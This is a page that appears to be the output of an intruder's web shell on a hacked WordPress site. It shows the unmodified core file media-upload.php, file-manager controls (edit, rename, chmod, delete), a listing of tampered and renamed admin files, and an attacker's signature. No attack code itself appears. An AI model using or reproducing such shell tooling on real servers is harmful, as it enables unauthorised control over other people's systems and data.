Submit
Path:
~
/
home
/
bfxleof
/
www
/
wp-admin
/
File Content:
media-upload.php
<?php /** * Manage media uploaded file. * * There are many filters in here for media. Plugins can extend functionality * by hooking into the filters. * * @package WordPress * @subpackage Administration */ if ( ! isset( $_GET['inline'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'upload_files' ) ) { wp_die( __( 'Sorry, you are not allowed to upload files.' ), 403 ); } wp_enqueue_script( 'plupload-handlers' ); wp_enqueue_script( 'image-edit' ); wp_enqueue_script( 'set-post-thumbnail' ); wp_enqueue_style( 'imgareaselect' ); wp_enqueue_script( 'media-gallery' ); header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) ); // IDs should be integers. $ID = isset( $ID ) ? (int) $ID : 0; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $post_id = isset( $post_id ) ? (int) $post_id : 0; // Require an ID for the edit screen. if ( isset( $action ) && 'edit' === $action && ! $ID ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName wp_die( '<h1>' . __( 'Something went wrong.' ) . '</h1>' . '<p>' . __( 'Invalid item ID.' ) . '</p>', 403 ); } if ( ! empty( $_REQUEST['post_id'] ) && ! current_user_can( 'edit_post', $_REQUEST['post_id'] ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>', 403 ); } // Upload type: image, video, file, ...? if ( isset( $_GET['type'] ) ) { $type = (string) $_GET['type']; } else { /** * Filters the default media upload type in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $type The default media upload type. Possible values include * 'image', 'audio', 'video', 'file', etc. Default 'file'. */ $type = apply_filters( 'media_upload_default_type', 'file' ); } // Tab: gallery, library, or type-specific. if ( isset( $_GET['tab'] ) ) { $tab = (string) $_GET['tab']; } else { /** * Filters the default tab in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $tab The default media popup tab. Default 'type' (From Computer). */ $tab = apply_filters( 'media_upload_default_tab', 'type' ); } $body_id = 'media-upload'; // Let the action code decide how to handle the request. if ( 'type' === $tab || 'type_url' === $tab || ! array_key_exists( $tab, media_upload_tabs() ) ) { /** * Fires inside specific upload-type views in the legacy (pre-3.5.0) * media popup based on the current tab. * * The dynamic portion of the hook name, `$type`, refers to the specific * media upload type. Possible values include 'image', 'audio', 'video', * 'file', etc. * * The hook only fires if the current `$tab` is 'type' (From Computer), * 'type_url' (From URL), or, if the tab does not exist (i.e., has not * been registered via the {@see 'media_upload_tabs'} filter. * * @since 2.5.0 */ do_action( "media_upload_{$type}" ); } else { /** * Fires inside limited and specific upload-tab views in the legacy * (pre-3.5.0) media popup. * * The dynamic portion of the hook name, `$tab`, refers to the specific * media upload tab. Possible values include 'library' (Media Library), * or any custom tab registered via the {@see 'media_upload_tabs'} filter. * * @since 2.5.0 */ do_action( "media_upload_{$tab}" ); }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
images
---
0755
includes
---
0755
js
---
0755
maint
---
0755
network
---
0000
user
---
0755
authorize-application-20260621113341.php
9850 bytes
0644
comment-20260621163109.php
11418 bytes
0644
credits.php
4135 bytes
0644
customize-20260621163043.php
10316 bytes
0644
edit-20260621234724.php
908 bytes
0644
edit-tag-form.php
10123 bytes
0644
edit-tags.php
21940 bytes
0644
edit.php
908 bytes
0644
erase-personal-data.php
7277 bytes
0644
export-personal-data-20260621150842.php
7249 bytes
0644
freedoms.php
4845 bytes
0644
index.php
8042 bytes
0644
install-20260621170059.php
16902 bytes
0644
media-new.php
3199 bytes
0644
media-upload.php
3486 bytes
0644
media.php
5598 bytes
0644
ms-admin-20260621174154.php
196 bytes
0644
ms-delete-site.php
4247 bytes
0644
ms-sites.php
215 bytes
0604
ms-themes.php
217 bytes
0604
my-sites.php
4646 bytes
0644
nav-menus.php
44643 bytes
0644
options-discussion.php
15444 bytes
0644
options-media.php
6299 bytes
0644
options-permalink-20260621150808.php
19271 bytes
0644
options-privacy.php
9317 bytes
0644
options-writing.php
8662 bytes
0644
plugin-editor-20260621150059.php
13332 bytes
0644
post-new.php
2703 bytes
0644
press-this.php
2386 bytes
0604
privacy-policy-guide.php
3593 bytes
0644
revision.php
5533 bytes
0644
setup-config-20260621124211.php
15852 bytes
0644
site-health-info.php
5783 bytes
0644
site-health.php
6292 bytes
0644
update-core.php
43589 bytes
0644
upgrade.php
5599 bytes
0644
N4ST4R_ID | Naxtarrr